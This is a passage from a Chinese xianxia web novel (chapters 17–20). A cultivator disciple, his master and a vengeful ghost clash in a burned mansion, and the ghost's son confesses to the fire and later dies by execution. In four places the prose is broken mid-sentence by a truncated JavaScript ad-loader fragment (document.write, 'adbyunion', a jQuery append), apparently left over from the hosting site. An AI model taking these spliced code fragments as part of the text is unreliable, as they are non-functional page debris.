灰尘糊了宁归砚一脸,手上的东西也被烧毁,睁眼时,徐娘竟然是挣脱了那束缚,眼睛死死盯着,嘴唇翕张。 “你要害我... ...” 宁归砚凝神将剑横在身前。 他朝周围看了一圈,疯婆婆的身影已经不见。 他耳朵动了动,微微一笑,将剑松了几分。 “徐娘,我知你怨恨,但莫要再做错。” 这话不知道戳中了徐娘什么心中事,她流下一行血泪,缓步朝宁归砚走过来的时候,脚下也是被拖曳出大片的红色,可见死时的惨状。 宁归砚揪着眉头,不忍看过去。 徐娘轻声笑了几声,将手中的锁链晃动着,铁链敲击的声音和周围的风声开始融合,她抬手,在胸口画着什么,随后庄府上空的那些眼睛忽然转动了视角。 他们将目光落在徐娘身上,带着憎恨和厌恶,偶有悲悯之色,也都被浓黑的夜色笼罩出不了头,便同那混入黑夜的苍鹰一般令人难寻。 疯婆婆离开前,身后隐藏于庄府的那些游魂,那些拥有眼睛的游魂,将他们的目光都放在了徐娘身上,随后靠近,伸出手,虚幻的手将徐娘抓住,却被烫得放声尖叫。 宁归砚捂住头,耳畔都是尖锐刺耳的痛苦声,男人,女人,或者老人孩子,都有。 那场大火里无辜的人太多了,他们的怨都被困在此处,怨生怨,就成了扼住徐娘的枷锁。 “我做错... ...我做错?我哪里有错!” 徐娘将头骤然抬起。 “他,她,他!他们都害我!害了我,还要害我儿,我儿命苦,我儿命苦啊——” 这声控诉不知道延了多少年,因此出口的时候,几乎将徐娘的喉咙都堵破了。 她开始笑着,声音又变为嘶哑嘲哳,那张脸生出瘢痕,在抬眼时,已经瞧不出原本的模样,便是那颗美人痣,也没了。 她倏然转了方向,不是朝着宁归砚来,反而是正堂中此刻掩不住的身影。 此刻阴风大作,宁归砚暗了暗眸子,忽然冲进去,在徐娘未来得及反应时冲进正堂,将袭去的徐娘用剑击退两步,随后捞起堂内的疯婆婆,身上什么符篆都往对方身上贴,随后才扬起剑与徐娘在外缠斗。 宁归砚自然是没有什么能力和徐娘缠斗的,对方现在已经快要完全入魔,实力大增,他这几下基础术法都用得不熟练,因此没几下就被拍了一掌倒在地,偏头往地上吐出一口血。 将嘴边的血擦了擦,他再次起身朝徐娘过去,不要命似的抬剑挥去,很快再次被一掌击退后背砸在柱身上,骨头都要碎了一般。 宁归砚第三次攻上去,被刺穿了手掌,随后狠狠摔在了堂前,他侧过脸将脸上的伤口抹了抹,眼尾瞥见旁侧的人撑着拄拐走到他身边,那双布满白翳的双眼里布满了无奈和悔痛。 疯婆婆深深叹一口气,她转过身,直直迎上了徐娘。 血液溅到宁归砚的脸上,他应该是听见了一些话语,拉成了调,泣不成声。 “是我应得的,我该如此啊——” “徐娘,我困你半百年,只为消去你的怨恨,奈何怨不灭怨,反而滋长,这庄府的其他人,从未害你,是我害你,是庄家害你啊... ...” 疯婆婆眼睫颤了颤,目光涣散开,声音也被风收了去,随后那具苍老的身体便轰然跪倒下。 她看着前方庄府的大门,门前站着的男人一只手抬起,一把剑从门后直直地没入徐娘的胸膛。 “早该,结束的... ...” “叮铃铃。” 轻微的铃铛声将宁归砚游去的灵魂唤回,他大口大口地吸着空气,捂住不断跳动的胸口,撑着地的那只手脆弱得撑不住他的身体,于是只能半躺在地上,喉头一热,便吐出一口黑血。 季宿白目光一冷,瞬息便到了徐娘的面前,抬手将其拍了出去,大门的另一扇也没能幸免,同徐娘的身躯一齐压在了地上。 宁归砚听见声音偏头看过去,眼睛睁开时都感觉艰难,瞧见季宿白的身影后,他心里冷笑一声,却没骂出来,等季宿白看过来的时候,面上又恢复那柔柔弱弱急需帮助的表情,嘴唇一动,语调像极了马上要断气。 “师尊... ...” 季宿白挥转手心,那柄刺入徐娘胸膛的剑便又回了手上,不染一丝鲜血,他垂眸朝宁归砚淡淡瞥过,说不出是不屑于对方的那声呼唤,还是觉得宁归砚这样格外丢了他天一山的脸,表情特别 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 臭,只瞥见他那枚玉佩被宁归砚好好戴着时才稍微缓了神色。 “打不过不知道跑,我给你的东西是摆设?” 宁归砚被他一看一责问,心里那点儿觉得季宿白还算有点良心的想法荡然无存,但他确实没打算捏诀用符,也不能说什么反驳的话。 于是只能顺着季宿白吐息。 “弟子知错。” 语罢,神色一凝,看向季宿白前方,垂在地上的手稍稍抬起一个指头。 “师尊!” 季宿白并未别开视线,抬手将剑在前一荡,徐娘便颤颤巍巍地撑着地似乎站不起来了。 宁归砚此刻真正见识到天一山掌门,仙门宿白仙尊的名号是如何的令人望而生畏。 徐娘能碾死他,他能碾死好几个徐娘... ... 宁归砚忽然有些庆幸他刚刚没有黑脸。 庄府飘荡在上空的那些小游魂忽然聚集起来,徐娘从破碎的门内爬起,一双红眼看着季宿白身后的柔弱青年,忽然放声大笑。 那笑声持续很久,周围的游魂都挥动着半透明的灰白手臂朝两人靠过来,他们眼底的怨愤都消失不见,像几颗没有了色彩的珠子,夜空是黑的,眼睛便也是黑的。 徐娘笑着将那些怨魂操控,宁归砚甚至能感觉到皮肤上的阴寒,那气息钻入口腔和伤处,便引起灼热的燥痛,还伴随从未体会过的酥麻之感,但那感觉只是一瞬,便化成暖流将身上的疼痛掩盖了不少。 就像,就像自己在愈合似的。 季宿白将剑往宁归砚那侧举了举,剑身晃出的光影将徐娘的目光挡住,他冷眉启唇,语气还是淡淡,像是说一句无关紧要的话,结果并不会因此这句话而改变。 “徐娘,别再害人,天一山可以放你一丝魂魄前往往生泉,否则... ...魂飞魄散。” 徐娘的目光一滞,带笑的脸上更加狰狞,她看着季宿白,脖子朝一侧歪,咔哒一声便成了半折的状态,像要掉不掉的布偶,她笑着,这周围的鬼魂便也跟着桀桀笑起来。 一时之间,宁归砚都分不出清哪道声音是徐娘的,直到万籁俱寂。 “害人?哈哈哈哈,害人!” “什么害人!是他们害我!是他们害我!” “我有什么错!我有什么错!我不过是... ...报仇而已... ...” 她目眦欲裂地看着宁归砚身旁的疯婆婆,对方胸口已经被完全贯穿,溅射出来的鲜血将这周围甚至于宁归砚的脸上都增添了色彩,灰蒙蒙阴暗的角落染上了许多的红。 可杀死一个人化解不了徐娘的怨恨,只会因为杀了人,将她心中的魔不断加深。拉长,直到彻底忘记为何而怨。 天一山中的书中记载,凡为魔者,格杀勿论。 所以季宿白所说的留徐娘一缕魂魄去往生泉,都是假话。 徐娘今日不会活着出去,她自己心里明镜似的。 往生泉不在人间,往生泉在魔界入口。 她去不了,也不让庄家的人去。 “庄家人害我孤苦,庄家人害我母子分离,你为何拦我!” 徐娘身后的怨魂都聚在了一块,她笑着看向宁归砚,是将那所有的怨愤都不知缘由地归结到他身上了。 “我便是灰飞烟灭,也要刮你一层皮!” 18. 我带他走 手臂旁的矮凳开始不受控制地震动起来,和宁归砚之间的距离也不断拉近,庄府整个都震动起来,像一颗被连根拔起的枯树。 那些升起的没升起的物件,都围绕着两人过来,分不清针对的究竟是季宿白,还是季宿白身后的人。 宁归砚抬起双眸,他将眼前的遮挡扯下,那抹不明恨意的目光便将他完全包裹住。 他看见徐娘张大了嘴,甚至能瞧见她已经腐烂的咽喉,沉默从喉间涌出,周围的黑色魔气将她整个人都掩盖,再瞧不见原本的模样,只剩下那一团黑色。 比黑夜还要深刻的颜色。 宁归砚的心跳了跳,像忽然暂停了似的,他喘不过气地撑着站起,看着身旁已经没了气息的疯婆婆,喉间一股热意,但还是跪下将人抱起。 他那样的身体只能抱着人颤颤巍巍地跪在原地,就是站起也是艰难,因此也没太想要带人离开。 宁归砚挡在疯婆婆的身前,徐娘瞧不见人,黑雾中无数双眼睛发出森森冷意,周围的物品都朝宁归砚后背砸去,被一剑挥开。 转头,是季宿白施了咒法,这庄府内的鬼魂全被庄府内的大阵用以束缚徐娘,但同样,他们也是滋养徐娘的存在,算是徐娘的一部分。 “乓!” 被一剑斩断的物件砸落在宁归砚身侧,他手臂紧了紧,将怀里的人抱得更紧,一双眸子落在那些断了的物件身上,满眼的后悔。 “小心点。” 季宿白丢过来一句话,捏诀施咒将冲过来的徐娘击退,随后迎上去。 那柄黑灰色的长剑在黑雾当中不断闪出,庄府也被两人的打斗彻底毁坏,宁归砚抱着疯婆婆被藏匿于层层的尘雾当中,他抬手捂着嘴,心里暗暗不爽,手上撑着腿,微微睁眼将疯婆婆背起。 因为腿脚都受伤,后背还被撞击在柱子上好几次,他没能好好背着,几乎是拖着人往更里面走,末了,重重摔倒在地。 昏过去前,宁归砚又多了点后悔,答应人的事情没做成,还给自己弄成这个样子,一点便宜没占到。 季宿白结着印,冷眉将徐娘困在一方。 徐娘周围的魔气散去,那些围绕在她周围的鬼魂也都趋于透明,最后在涌向庄府大门时,消失得一干二净。 “哈哈,哈哈哈哈——” 徐娘抚摸着自己的脖子,上面沟壑般的痕迹似乎淡了些,她紧闭起双眼,看着是不再做抵抗。 剑身入心阵法成的那刻,徐娘猛地睁眼,身后微弱的风忽然凝聚成团,她死死看着宁归砚旁边的妇人,一道风刃迅速挥过去,击中了目标的位置。 季宿白诧然,反应极快地将阵法设下,随后捏着咒诀朝宁归砚的方向施展,灰尘散开后,却不见地上的两人。 “叮铃铃。” 又是一阵铃铛声,离开主人的剑瞬间转了个方向朝着正堂屋内去,几乎被毁坏的只剩下一层薄薄隔挡的桌前站着一人,他甚为有礼地朝季宿白颔首,随后将手中抓着的两人往前带。 “宿白仙尊,久闻大名,不如一见。” 季宿白对这人的出现丝毫没有感到惊讶,他看着对方捏住宁归砚的手,晕倒的人在对方手心如同一只随时能捏死的蚂蚁。 “终于舍得出来了?在背后躲了那么久,你倒是能等。” 他启唇,收回剑,抬起的手却没收下。 徐应笑笑,将季宿白的威胁置之度外,腰际的铃铛随着他的动作晃出声音,和夜间的风一样轻飘飘。 “仙尊不会想知道我要做什么的,一个已经死了,一个,是你厌烦的大弟子,我带走,也没什么吧?天一山死了一位英勇的仙士,也没多少人在意,我带他走,这廿城的事情,一笔勾销,如何?” 季宿白冷眼看着他,忽然发笑:“一笔勾销?那些救下的婴孩,送去医馆也死了半数,何来的一笔画,又如何勾?” 徐应敛了笑,默声片刻,抬头阴沉沉地看着季宿白,随后将宁归砚往外一推,手中捏诀。 季宿白看着人倒下,成了一团黑雾,暗了暗眸子将剑化为流光追去。 走前,青年的话语在庄府的上空回荡。 “季掌门,人我带走了,你杀了我养的魂,我便杀了你的大弟子,如果你能找到我的话,说不定他还活着。” 阴暗潮湿的山洞略显可怖,水滴的声音和低温度一齐侵扰着男人,但身侧又伴有焰火燃烧的噼啪声。 宁归砚是在一冷一热的折磨中醒来的,醒来时脑袋混沌,抬目看过去,半天才反应过来前方的人是谁。 他撑着旁边的岩墙坐起,靠在壁上,歪着头看着徐应,忽然发笑,随后踢了踢旁边的小石子,小石子滚到徐应的脚边,对方便抬起了那双阴翳的眼眸。 “徐应,这交易,我可没做成,你把我弄来,是想杀人灭口?” 宁归砚冷冷质问出声,对上徐应的目光,竟然也没觉得怵。 毕竟他现在都这副样子了,恐怕不用人杀,自己呆着就能咽气,自然也不怕惹恼了对方。 宁归砚见人不回答,还是一股脑捣鼓他那个火堆,于是往旁边瞟了瞟,没看见疯婆婆的身影,侧身从地上也拾起一根木枝,在火堆里戳了几下。 他问道:“不是让我想办法给人带回来吗?人死了,你就给扔在那了?” 这时徐应才有了反应,他抬头,眼里火光跳跃,盯着宁归砚看了几秒后,道:“埋了。” 宁归砚又问:“她是你的谁?” 徐应的动作按下暂停键,他执着枯焦的木枝半天没有动作,像极了集市里见到的糖人娃娃。 糖人娃娃大概是被掰断了,他笑了一声:“什么人也不算,我跟她,没关系。” 宁归砚笑着靠在岩壁上:“是吗?可你姓徐,徐娘是庄家的姨娘,我没猜错,那位疯婆婆,和庄家也有关系吧?” “庄家少爷真和她没关系?” 明晃晃地将人的身份点出,徐应依旧没有什么大的反应,他将手中的木枝丢掉,弯着唇,又恢复了那副平易近人的模样。 “宁公子,我带你来,不是让你问东问西的,你这副模样... ...” 他上下看了看宁归砚,将人盯得有些气愤。 “自身难保,又何须多问些。” 宁归砚听着不得劲,他将枝条往旁边划了划:“既然自身难保,又为何不能问,你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 把我掳走,是想让季宿白杀了我,还是你自己杀了我?或者... ...你想救那个入魔的怨魂?她如果没有魂飞魄散... ...” 带笑意的话还没说完,一只手便捏在宁归砚的脖子上,一双泛红的眼睛撞进眼帘,徐应发了狠,在宁归砚差点呼吸不上来的时候又松开了手。 徐应:“我不杀你,你还有用。” 宁归砚被松开,他大口大口呼吸,咳嗽了好一会才找回自己的声音。 “我还有用?你打算拿我做什么?人质?交换?还是用我去做什么禁术,你不杀我,季宿白可是会杀了你。” 他抬头看着徐应,丝毫没有退缩,甚至还有点小小的挑衅意味。 徐应看出他话中有话,沉默半天,才看着人开口。 “你觉得,季宿白厌恶你,是因为什么?” 宁归砚顿了顿,试探性回答:“我一个乡村出生的孩子,被天一山掌门捡回去便是受了大恩大惠,莫名其妙成了掌门弟子,还一身病,说出去,的确有些丢人,我瞧着他,挺注意面子的。” 徐应冷笑了一声:“若是面子,你身边那位小师弟的名号,可在魔界打响了,要相比较,他更甚吧?” 景弗身份的确特殊,从魔窟里逃出来,随后被散修捡去,后面又遇上灭村的惨案,的确是天煞之命,可偏偏又天资聪颖,气性也足够,虽然入了天一山,但呆在魔界太久,难免有人看着。 宁归砚便是被指令看着他的人,自然知晓其中缘由。 徐应见宁归砚一时无话可说,凑近过去,两人双目相对。 “你知道吗?” 他淡声道。 “我见到你的第一眼,就觉得,在我死之前,我要做的事,或许能成。” 宁归砚抬眸,听着却不发表什么意见了,他的视线通过那层薄薄的屏障,将徐应的想法扫得一干二净。 “你早就发现了吧?” 徐应自嘲地笑着。 “从我出现在你眼前的那天,你就猜到我是什么人,你知道我帮你逃离了幻阵,也知道我和庄府的关系,知道那些羊群是做什么用的,知道那个养羊的只是为了引出这城内的东西。” 他“嘶”了一声,笑容停止。 “宁公子,你这张脸,的确适合骗人,也惯会伪装,那冷面无情的宿白仙尊,竟然也为了你不杀我。” 宁归砚此刻发笑:“我这个人,向来讲究你来我往。” 你若是全然告知,我也不会刻意掩盖一些东西,他向来是这样的。 徐应也不必宁归砚给与什么反应,他自顾自看着洞外,此刻外面的月光洒进来,又被火光覆盖。 他看着那弯只能瞧见边的月亮,从树影中又看见恍然掠过的飞鸟。 “我把她埋在了山下,就这座山山下。” “其实我该把她埋在庄府的,让她和那些怨魂一起,不得超生。” 徐应眼红着。 “宁公子应该不知道,庄府的那把火,不是我娘放的。” “她连自己叫什么都不知道了,怎么会记得谁害了她,谁让她一生苦痛。” “那把火,是我放的。” 19. 她不记得那些恨 徐应笑得灿烂,头低下,眼睛都沁出泪花,背脊随着动作一颤一颤。 “我放那把火时,她就那样看着我,痛苦,悲哀,或许是因为杀了我娘,她舍不得再杀我... ...最后我还是把她救出来了,因为我恨她!” “我恨他们所有人!” “人人都尊敬的庄家老爷,膝下子女无数,女人更是数不胜数,庄夫人是其中一个,我娘是其中一个。” “一个因为嫉妒,杀了另一个,其他的,被她造成的种子刺破了土壤,明明看着发了芽吗,却也不折断,你说,那死去的百人,到底是怨谁?” 宁归砚看着他说不出话,眼前的人偏执,‘杀’了自己的母亲,又杀了自己的父亲,最后将唯一算得上的亲人囚在庄府,用她的血肉养魂,就为了... ...自己的怨。 怨生他,也是怨养他。 “为何不告诉她,你杀那些无辜之人,就能消减你内心的怨愤吗?” 宁归砚问的是徐娘,他看着徐应,实在不理解。 徐应笑一声。 “因为我找不到她了,我去了魔界,至少他们不会将我拒之门外,我找到了她,将她散去的魂魄聚起来... ...” “散去又聚合成的怨魂,记性最不好了,她都不认识我,怎么认得出我... ...她只认得,那些她偷来的精心照料的孩子,可还是死了那么多,多可笑?” 宁归砚此刻说不清两个有血缘关系的人之间是否还存在爱了,因此他深吸一口气,转换了话题。 “所以,你让我带疯婆婆回来,只是为了不让她死在庄府?” 徐应乍然冷了脸,转头掐住宁归砚的脖子,将他眼前的黑纱一扯,目光中的愤怒和惊喜就更加明显。 随后脖颈上的力度卸掉。 “宁公子不知道吧,你的眼睛,和我见过的一双非常相像。” “我也不想救那庄夫人,和你交易,不过是希望你帮我个忙... ...” “我保证,你会有那个机会的,我们的交易你只赚不亏——” 宁归砚定定看着他:“我帮不了你什么,你让我做的事情,你不是看见了吗?人都被你埋了,我这三拳两脚的能力,能做什么?还是你真要拿我去做什么禁阵?那我可能活不了多久。” 他指了指自己的胸膛。 “我这人一吓心脏就疼,大概有心病,大阵仗我可见不得。” 徐应看着宁归砚的眼睛,像是看着一件瑰宝,脸上的笑意渐渐真切,专注的模样让宁归砚忍不住皱了眉头。 正要别开脸,徐应便出了声。 “不难,帮我做一件事情。” 宁归砚看出他眼底的算计,后背有些发凉,但索性也不会杀了自己,便也没那么害怕。 他眼睛转了一圈,这才开口询问:“你要我帮你什么忙?” 徐应脸上的笑便如同徐娘瞧见宁归砚时一模一样了,像捕捉到了猎物,暗暗的兴奋已经足够他忘记很多东西。 他指了指宁归砚手里的玉笛。 “先将你的剑借我一用,然后,替我去送个东西——” 说完,在宁归砚将剑幻出的时候伸手接过,神色一凝,剑尖便刺入了宁归砚的胸膛。 眼前的流光持续了很久,疼痛也没那么让人难以忍受,惊愕的同时也只认为徐应这个人真是个疯子,彻彻底底的疯子。 几只手指在剑拔出后击打在胸口,宁归砚猛吐出一口气,气息微弱,他将脖子靠在岩石上,捂着胸口的滚烫,心跳声都过于慢了。 “你够狠!” 徐应将剑随意扔在宁归砚身侧,剑身上的血鲜红,映入宁归砚眼底,他那双眼睛便是红色的了,像两颗色泽尚好的宝玉,从其中迸发出的光掩盖了一切。 宁归砚盯着剑身,下一秒便让其再化为玉笛回到腰侧,但沾染上的血液也蹭到了腰间,看上去被捅了两剑一样。 他喘着气,压着不满,看着徐应将一枚玉扳指拿出来,随后套在宁归砚指尖,被施加咒法晕倒前,宁归砚听清了对方的话。 “这个东西,那就拜托你了,宁公子。” 待到宁归砚再次醒来的时候,他又回到了庄府,此时此地已经成为恍然一梦的虚无,看着满地的荒芜,他甚至觉得自己只是做了个梦,如果手脚没有被绑住的话。 虽然不敢确定徐娘是否的确还留有一丝魂魄,但宁归砚可不会拿自己的命去赌。 他将自己沉重的双眼抬了抬,灼热的呼吸喷洒出,四周扫一圈,除了站在石柱旁的徐应,便是满地的符文。 符文东西散乱,却又各自相互照应,形成环环相扣之势。 宁归砚看不出这阵法的用途,也就只能将目光放远,忽然眸光一闪,看着徐应划破自己的手指,在阵法上写下几个字——徐月琼,七月初三辰。 那是徐娘的八字,名字是出生便被注定遗忘的,生辰倒是有人记得,也只为了讨她欢心,得了手,又什么都忘了。 最后一滴血落下,徐应瞧见醒来的人,笑着抱歉。 “怎么说也是天一山大师兄,我自然对你不太放心,怕你跑了,稍稍使用了点手段。” 宁归砚看着天色,话题跳过。 “多久了?” 他睡了多久。 “五个时辰,在魔族学到些障眼法,也能拦住那位仙尊一些时候,不过... ...他现在到了。” “唰——” 一道灰色的剑影从那扇已经坍塌的大门前穿过稳稳插在徐应身侧,他手臂上的衣物被削掉,一条断臂就那样掉落下来,直直地滚到宁归砚身前。 宁归砚面上无波无澜,心里却将季宿白划为第一级危险人物,他垂下眸子,不去看那鲜血淋漓的断处。 徐应被斩断了一臂,面色肉眼可见地没了血色,他看着季宿白落地,身躯颤抖,也不知道是疼的,还是因为笑意过甚身体也跟着掩不住。 剩下的那只手颤颤巍巍地抬起,指尖划破的伤处还在往下滴着血珠,红色的液体落在地上的阵法内,在他嘴唇翕张后,红光大盛。 季宿白腰侧的缚魂袋忽然开始不受控制地震动起来,一只手印从里面显现,几乎要将那缚魂袋捅破,随后它快速从腰侧扯开,悬在这阵法的中心。 站在大门后的男人拧着眉头,将剑唤回,徐应便侧身过去从身上拿出一把小刀,刀尖将宁归砚的脖颈割破一些。 鲜血滴落在在地,好在只是唬人,并不伤及要害,但宁归砚还是免不得惨白了脸。 季宿白即将的动作停下,他冷冷瞥着徐应,看着中央无法逆转的阵法生效,缚魂袋中的魂魄破袋而出,一双灰白的手抓住徐应的手臂,竟然是硬生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 生将其啃食。 徐娘显然已经没有任何自我意识,她成了彻彻底底的厉鬼,是仙门避之不及的魔物,杀戮和吞噬是它们的天性。 徐应看着自己肩侧被扯下一块皮肉,脸上居然扬起笑容。 那笑声开始放肆,让季宿白都忍不住再次抬起了剑,手中捏诀,一旦有所威胁,徐娘和徐应都会灰飞烟灭。 徐应在笑声中将宁归砚往后他,弱得只有两人能听见的声音落在耳畔。 “宁公子,这下,你总得欠我一个人情了,我的东西,别忘了送过去... ...” 他说完,手上的刀柄被指尖一捏,握住的手上攀附着徐娘的眼睛,那双眼睛是满是恶意,她盯着宁归砚的脖子,似乎找到了更好的食物,但又有那么些忌惮。 宁归砚没来得及反应,作用在脖颈上刚要用力的手便再次被斩断,痛叫声叫他目光恍惚,清醒时便瞧见在他身侧爬行的徐娘,嘴里都是血块,那双手猛然抓向他的脸。 “轰——” 宁归砚紧紧闭眼,没感受到什么疼痛,反而听见脚步声落在旁侧,于是睁眼抬头,与季宿白冷漠的目光对上。 他能看得出,对方丝毫没有将他的状况放在心底。 宁归砚重重咳了一声,眼前一白,在季宿白转身去收拾残局的时候,看见一抹青灰色的烟雾钻入他腰际。 他怔了怔,从腰侧拿出那枚扳指,又抬眼看已经奄奄一息的徐应。 宁归砚将扳指收好,出声询问:“师尊,这是什么阵法。” 他能感觉出来,阵眼是徐应本人。 季宿白破了阵眼,将周围那些小阵一一清楚,适才看向宁归砚,本不想回答,但看见对方捂着唇忍不住咳嗽的模样,心里烦躁的同时,又开始解释起来。 “魔族的阵法,用鲜血作引,混加一些特殊的东西,让残破的魂完整,但设阵的人会失去多少寿命便不知道了,这阵不可逆,设下就只能任由它生效,不过... ...你的好奇心有点重了,能自己走吗?” 季宿白拍拍手上因为处理阵法而沾染血迹和灰尘的手,弯腰将徐应提溜起来,那双黑眸不经意扫过去,宁归砚避开他的目光,将手中的法器紧握。 “可以。” 徐应的动作力度不大,只是为了吓吓季宿白,没想到对方压根对宁归砚的命没那么看得重。 季宿白将徐应送去了官府,那场没有凶手的两起案件都有了结果,官府前伸冤的人不少,都是失而复的的家庭,也多有些已经破碎的。 宁归砚回客栈后便沉沉睡过去,他身上的伤也没管,再醒来的时候已经过了四日了,林言言和景弗跟着季宿白回去了,他被暂时放在廿城,但也叫了人照顾。 宁归砚撑着床沿坐起,除却有些头疼之外,并没有什么其他感受。 他将眼纱习惯性戴上,两指夹起,莹透的光点浮现,随后跟着动作压入胸膛。 他闭着眼仔细感受,经脉深处的印记已经消失——季宿白给他施加下的术法已经消散。 徐应也不知道用了什么方法,竟然真兑现了诺言。 他这下想要跑,季宿白可找不见他了。 宁归砚低头从腰侧拿出那枚扳指,其中烟雾缭绕——那是徐娘的魂。 这场荒诞的计划,说到底,不过是有人被困在了无止境的仇恨当中。 20. 徐应说:多谢 客栈内的人多了很多,大概是城内那诡异的案子被了结,庄府的事情也能有个交代。 窗外鼎沸的人声将宁归砚的思绪拉过去,他将扳指收起,在照顾他的大夫来了后,又起身过去迎接。 “公子,你醒了,可有什么不适?” 照顾宁归砚的大夫是天一山安插在廿城的人,也懂得一些术法,曾经是外门的弟子,因此对宁归砚也十分恭敬。 宁归砚笑着将接过他手中的汤药,屏息将那碗黑乎乎的泛着苦涩气味的药给灌了下去,汤药入喉,忍了好一会才彻底吞咽下去。 他舒展开眉头,将药碗还给老伯,隐藏在眼纱下的眼睛又冒起了小心思。 “老伯,我无事,应当好得差不多了,”说着朝门口看过去,“师尊他... ...” 大夫明白他的疑惑,将药碗放在一侧,从腰际的挎包内拿出一个药瓶,还有一个手写的药方。 “公子身子虚,恐怕还得再服用几日我这药方,这都是药堂内的方子,没在人间用过,想必公子也熟悉,照常吃就好了,还有这药丸,一日三颗,养身护心。” 他将东西塞给宁归砚,便才回答。 “掌门已经归山,叫我好好照顾公子,说是会下山来接,廿城离得近,公子若是想回去,也可随时离开。” 离开... ... 宁归砚在心里默默琢磨这两个字,反复品味后朝大夫莞尔一笑。 “辛苦您了,我送送您吧。” “不用不用,公子再多休息一会吧,若是闲了,这廿城,也有不少玩意,带上一两件回去,也是极好的。” 大夫摆摆手没叫人送,走得比外面的小二都要快。 宁归砚没在房间内多做停留,他收拾好东西就准备出门,岂料更打开门就看见林言言略带担心的目光。 记忆里的片段侵袭过来,宁归砚忽然心虚,他看着林言言,动了动嘴唇。 问道:“师妹没随师尊回宗?” 林言言将手中的热汤往前捧了捧,略微嗔怪:“我要是去了,就没人能照顾师兄了,所以就跟师尊说先留下来,等师兄醒了传信回去,我刚刚看见了大夫,就知道师兄你醒了,才传信回去,瞧见厨房在炖汤,便叫小二给了我一碗!师兄可要趁热喝!” 她说话的语气跳跃,弯着的眼睛里都是因为宁归砚醒来的高兴,让宁归砚都有些无措了。 “哦,进来吧,汤碗很烫,别端着了。” 宁归砚将门打开,心里呼出一口气,好在他根本没打算带什么东西走,因此也没人能看出来他刚刚打算跑路。 宁归砚喝了点鸡汤,抬眸在林言言脸上扫过一圈,适才斟酌着话语试探性地开口。 “师妹。” 他轻声唤着人,林言言抬眼看过来,脸上浮现疑惑。 “上次你晕倒在张家... ...” 宁归砚适当性地顿了顿话,林言言眼珠子低眉思索几秒立刻回答。 “我没什么事情的,姓刘的那个家伙趁我们放松警惕溜进来偷孩子,还差点把师弟给打伤了,还在师尊及时发现,他不是邪祟,自然能轻易进入护身阵法,还好他只懂些皮毛,不然可要酿成大祸!” 她说完,又怕宁归砚担心。 “师兄我没事的,倒是师兄,你那天受伤严重,那家伙没对你做什么吧?” 宁归砚闻言,弯唇轻摇着脑袋。 原来是有人给他背了锅。 宁归砚心里放下石头来,摇摇头和林言言又聊了些廿城的情况,知道今天徐应在东市被斩首,他便捂住胸口,叫林言言给他添了热水,随后说自己休息一会别打扰便关了房门。 门前的脚步还没消失多久,宁归砚便打开窗户,换了一身便衣,从后边的巷子里绕了出去,还买了一顶草帽带着,低头谁也认不出来,只觉得是个清贫的小子。 这时朝着东市去的人不少,宁归砚都不用多问,只需要跟着攒动的人群走就找到了位置。 东市的斩首台上,徐应身上已经被套上了枷锁。 他的身上都是烂菜树叶和鸡蛋,那些东西却没能将他的脖颈砸得低下,抬头看向上方的官员时,脸上还是不知悔改的表情。 周围的哄闹吵得人耳朵疼,宁归砚还是喜欢清净。 虽然他是抱有侥幸心理,若是徐应还没到,自己想要的东西还能使些手段获得,可现在人这么多,他便是想要使用手段,也得考虑考虑后果了。 他拍了拍身上被牵连而沾上的叶片,朝行刑台上深深看一眼,徐应便不知道是不是感觉到,忽然侧目瞧过来,被后方的壮实的男人一手按下,那双带笑的眼睛和宁归砚的视线碰撞。 他嘴唇微微牵扯,仿佛感觉不到横在身后的大刀,也丝毫没有面对死亡时的恐惧感,他平静,嘴唇翕张。 宁归砚闭上眼,转了身朝人群外走去,他将帽檐往下拉扯,直到阴影将面部全部覆盖,但脑海里对方的话语依然在眼前浮现。 徐应对他说:多谢。 没有声音,也不知道是在谢什么。 “喂!” 小孩的呼唤声拉回宁归砚的思绪,他抬头,瞧见熟悉的稚嫩面孔,拉住小乞丐的手讲人往上拉。 小乞丐手中抱着一个竹筒,竹筒是新做的,颜色还很鲜艳,小小的一个,宽度也就一个大拇指那么宽,也不长。 宁归砚将人拉到人群的一旁往前走,等周围人少了才停下来,低头看着小乞丐的脸。 “找我有事?” 他开口问,看了看对方手里的东西,心里有些猜测,于是伸手指了指。 “给我的?” 小乞丐伸出手里的东西,他将竹筒上面的塞子拔开,露出里面的东西,引得宁归眼瞳孔震动。 东西没露出多久便被宁归砚再次封印,男人将东西接过,收入储物袋后蹲下来,小声询问:“谁给你的?行刑台上的人?” 小乞丐点点头:“嗯,他给我的时候,叫我三天后给你,说你得去一个地方,但是你不认识路,就叫我把东西一定要给你,大哥哥,你要走吗?去哪里啊?” 他此刻十分乖巧,似乎知道宁归砚要走了,眼神里挽留。 宁归砚默了半晌,从衣兜里掏出一串铜钱递过去,随后蹲下抬手摸了摸小乞丐的脑袋:“你要跟我走吗?不一定能走出这座城,或许去的也不是什么好地方。” 小乞丐转了转眼珠瘪嘴摇摇头:“不要了,爷爷和妹妹还要我照顾呢,我走了他们就没有吃的了,不过哥哥!” 宁归砚柔了神色:“什么?” 小乞丐:“你是一个好人,一定能心想事成的,东西给你了,我先走了!” 说完,他笑了笑,撒开退跑进人群,很快就没了踪迹。 宁归砚站起来,手放在储物袋上摩挲,明明已经得到了想要的东西,还解了身上的术法,可他并没有那么轻松,反而一脸愁容。 宁归砚没多呆,找了处亭子坐了下来,他抬了抬草帽,四周的人很少,等待半晌后,他将那支竹筒拿出来,打开塞子,展开了里面的东西。 一张瀛冬的地图,上面天一山的标识瞩目,还有一张小指大小的字条,将其 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打开,里面是较为遒劲的字体。 宁归砚虽然不懂符文,但这世界的字还是大半都认识的,但读下来时,还是有些迷蒙。 ‘禁书禁录,可窥探,早逃离。’ 这说的是那本禁书,又是那条禁录,逃离谁,或者说,逃离哪里? 宁归砚拧眉将字条捏紧,目光一偏,手心一阵灼热,再张开手掌时,手心只有不显眼的灰尘往下落,目光都来不及捕捉。 将手中的地图放入竹筒在腰间一晃,宁归砚拿着草帽起身,朝着客栈的方向去。 